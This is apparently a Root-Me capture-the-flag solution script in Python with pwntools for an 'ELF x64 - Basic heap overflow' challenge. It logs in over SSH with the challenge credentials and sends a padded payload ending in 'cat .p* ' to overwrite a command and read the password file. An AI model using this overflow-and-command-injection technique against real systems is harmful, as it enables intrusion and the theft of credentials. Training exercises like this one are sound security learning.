ELF x64 - Basic heap overflow

import pwn
USER = "app-systeme-ch94"
PASS = "app-systeme-ch94"
def main():
 s = pwn.ssh(USER, "challenge03.root-me.org", 2223, PASS)
 io = s.process('ch94')
 data = "A"*(0x20+8+8)
 data += 'cat .p* '
 pwn.log.info(f"Payload with len {len(data)} : {data}")
 io.sendline(data)
 print(io.recv())
 print(io.recv())
 io.close()
 s.close()
if __name__ == '__main__':
 main()